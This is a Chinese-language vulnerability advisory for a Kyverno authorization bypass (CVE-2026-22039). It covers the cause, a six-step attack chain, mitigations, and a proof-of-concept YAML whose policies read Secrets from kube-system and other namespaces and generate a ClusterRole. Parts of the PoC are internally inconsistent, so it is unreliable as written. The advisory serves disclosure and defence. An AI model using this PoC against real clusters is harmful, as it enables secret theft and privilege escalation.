IPBUF安全漏洞报告
English
CVE-2026-22039 CVSS 9.9 严重

CVE-2026-22039 Kyverno命名空间策略apiCall授权边界绕过漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2026-22039
漏洞类型
授权边界绕过
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kyverno

相关标签

CVE-2026-22039Kyverno授权边界绕过权限提升云原生安全Kubernetes策略引擎命名空间隔离RBAC绕过CVE-2026

漏洞概述

Kyverno是一个专为云原生平台工程团队设计的策略引擎,广泛应用于Kubernetes环境中的策略管理和安全控制。该漏洞存在于命名空间的Kyverno Policy apiCall功能中,影响1.16.3和1.15.3之前的所有版本。攻击者可以利用此漏洞突破命名空间隔离限制,通过构造恶意的策略配置,利用上下文变量替换控制urlPath参数,使Kyverno admission controller使用其高权限ServiceAccount身份向Kubernetes API Server发起请求。这允许低权限用户读取其他命名空间的敏感资源(如ConfigMaps和Secrets),甚至执行跨命名空间的写入操作,如创建ClusterPolicies等集群级别的资源,从而实现权限提升和未授权访问。CVSS评分高达9.9,属于极其严重的云原生安全威胁。

技术细节

该漏洞的根本原因在于Kyverno admission controller在处理命名空间级策略的apiCall请求时,缺乏对目标URL路径的命名空间边界验证。具体来说,当用户创建一个包含apiCall的命名空间级Policy时,Kyverno会使用其admission controller的ServiceAccount(通常具有较高的集群级权限)来执行解析后的urlPath对应的API请求。攻击者可以通过上下文变量替换(context variable substitution)技术,在urlPath中注入任意的API路径,例如指向其他命名空间的资源或集群级别的资源。漏洞利用的关键步骤包括:1) 攻击者获取目标命名空间的Policy创建权限;2) 构造包含apiCall的策略,使用变量替换控制urlPath指向敏感资源;3) Kyverno使用高权限ServiceAccount执行请求,从而绕过正常的RBAC权限检查。由于Kyverno的ServiceAccount通常被授予了较为宽松的RBAC权限以支持策略执行,因此该漏洞可导致严重的权限提升和数据泄露风险。

攻击链分析

STEP 1
信息收集
攻击者获取目标Kubernetes集群的访问凭证,确认具有创建命名空间级Policy的权限,并识别Kyverno admission controller的ServiceAccount及其RBAC权限配置
STEP 2
漏洞识别
攻击者确认Kyverno版本低于1.15.3或1.16.3,并验证目标命名空间存在敏感资源(如Secrets、ConfigMaps)可供读取
STEP 3
恶意策略构造
攻击者构造包含apiCall的Policy或ClusterPolicy,利用上下文变量替换技术在urlPath中指定目标资源路径,可以指向其他命名空间或集群级别的资源
STEP 4
策略执行触发
通过创建、修改或删除触发资源(如Pod、ConfigMap)来触发策略执行,使Kyverno admission controller处理apiCall请求
STEP 5
权限绕过与数据获取
Kyverno使用其高权限ServiceAccount执行解析后的API请求,绕过正常的RBAC检查,成功读取跨命名空间的敏感数据或创建集群级别资源
STEP 6
权限提升
攻击者利用获取的敏感信息或创建的集群级资源(如ClusterRole、ClusterRoleBinding)实现持久化访问和横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22039 PoC - Kyverno Authorization Boundary Bypass # Target: Kyverno < 1.15.3 or < 1.16.3 # This PoC demonstrates how an authenticated user with namespace-level Policy create permission # can exploit the apiCall feature to read secrets from other namespaces apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: exploit-api-call-boundary spec: # This will be created in attacker-controlled namespace # But can access resources outside the namespace rules: - name: read-secrets-from-other-namespace match: any: - resources: kinds: - ConfigMap context: # Exploit: Use variable substitution to control urlPath - apiCall: urlPath: "/api/v1/namespaces/kube-system/secrets" # This path is outside the policy's namespace # but will be executed with Kyverno SA privileges mutate: patchStrategicMerge: data: exploited: "true" --- # Alternative exploitation via namespaced Policy apiVersion: kyverno.io/v1 kind: Policy metadata: name: cross-namespace-read namespace: attacker-namespace spec: rules: - name: read-configmaps-cross-ns match: resources: kinds: - Pod context: - apiCall: # Exploit: Access secrets from other namespace urlPath: "/api/v1/namespaces/{{request.namespace}}/secrets" # Can be manipulated to target any namespace generate: # Attempt to create cluster-scoped resources kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 name: malicious-role namespace: "{{request.namespace}}"

影响范围

Kyverno < 1.15.3
Kyverno < 1.16.3

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1) 审查并移除Kyverno admission controller ServiceAccount的非必要权限,特别是跨命名空间和集群级别的访问权限;2) 禁用或严格限制apiCall功能的匿名访问;3) 实施额外的策略验证机制,检查所有新创建的Policy是否包含异常的apiCall配置;4) 使用Kubernetes RBAC限制用户创建包含apiCall的策略的能力;5) 监控审计日志中的异常API访问模式,特别是来自Kyverno ServiceAccount的跨命名空间请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表